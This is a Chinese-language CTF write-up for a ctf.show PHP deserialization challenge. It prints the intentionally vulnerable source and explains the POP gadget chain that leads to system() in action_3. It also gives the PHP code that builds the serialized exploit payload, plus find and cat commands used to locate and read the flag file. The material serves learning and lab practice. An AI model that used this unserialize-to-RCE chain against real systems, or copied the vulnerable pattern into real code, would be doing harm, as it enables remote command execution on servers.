题目地址:https://ctf.show/challenges
题目源码:
<?php
highlight_file (__FILE__);
error_reporting(0);
class action_1{
public $tmp;
public $fun = 'system';
public function __call($wo,$jia){
call_user_func($this->fun);
}
public function __wakeup(){
$this->fun = '';
die("阿祖收手吧,外面有套神");
}
public function __toString(){
return $this->tmp->str;
}
}
class action_2{
public $p;
public $tmp;
public function getFlag(){
if (isset($_GET['ctfshow'])) {
$this->tmp = $_GET['ctfshow'];
}
system("cat /".$this->tmp);
}
public function __call($wo,$jia){
phpinfo();
}
public function __wakeup(){
echo "<br>";
echo "php版本7.3哦,没有人可以再绕过我了";
echo "<br>";
}
public function __get($key){
$function = $this->p;
return $function();
}
}
class action_3{
public $str;
public $tmp;
public $ran;
public function __construct($rce){
echo "送给你了";
system($rce);
}
public function __destruct(){
urlencode($this->str);
}
public function __get($jia){
if(preg_match("/action_2/",get_class($this->ran))){
return "啥也没有";
}
return $this->ran->$jia();
}
}
class action_4{
public $ctf;
public $show;
public $jia;
public function __destruct(){
$jia = $this->jia;
echo $this->ran->$jia;
}
public function append($ctf,$show){
echo "<br>";
echo new $ctf($show);
}
public function __invoke(){
$this->append($this->ctf,$this->show);
}
}
if(isset($_GET['pop'])){
$pop = $_GET['pop'];
$output = unserialize($pop);
if(preg_match("/php/",$output)){
echo "套神黑进这里并给你了一个提示:文件名是f开头的形如fA6_形式的文件";
die("不可以用伪协议哦");
}
}
审计第一步找到有用的执行函数,找到action3里面的system,发现system在action3的析构函数中,也就是需要new action()才行,跟进找到action4中的append函数中包含 echo new $ctf($show);
而__invoke()函数调用的append,所以我们需要触发action4中的invoke函数,那就需要找到能将action4当做函数执行的,action2中的__get()方法就可以将控制$p为然后将$p当做函数执行,那么现在问题变成如何触发__get()方法,刚好action4里面有一句echo $this->ran->$jia;
,那么如果让$ran赋值为类action2,而action2里面没有$jia,导致了触发__get()方法,所以这里就是是入口了
pop链为:action4中的$this->ran->$jia
->action2中的__get()->action4中的__invoke()->append()->action3的system($rce);
然后再看传参,$rce就是传过来的$show,,所以$show=需要执行的命令
payload:
$obj4 = new action_4();
$obj2 = new action_2();
$obj4->ran = $obj2;
$obj2->p = $obj4;
$obj4->ran = $obj2;
$obj4->jia = '1';
$obj4->ctf = 'action_3';
$obj4->show = '语句';
echo urlencode(serialize($obj4));
这里的语句先执行find / -name f[A-z][0-9]_*
,因为给的提示并不直接,饶了一下,直接找fA6_*是找不到的,然后发现文件名为fz3_.txt,再执行cat /fz3.txt(此处是我执行反弹shell失败了,不然的话不用踩这个文件名的坑)
本体官方也有wp,不过思路有些不一样而已,这要是我想大佬咨询所得,仅当做个人学习的参考~
Comments | NOTHING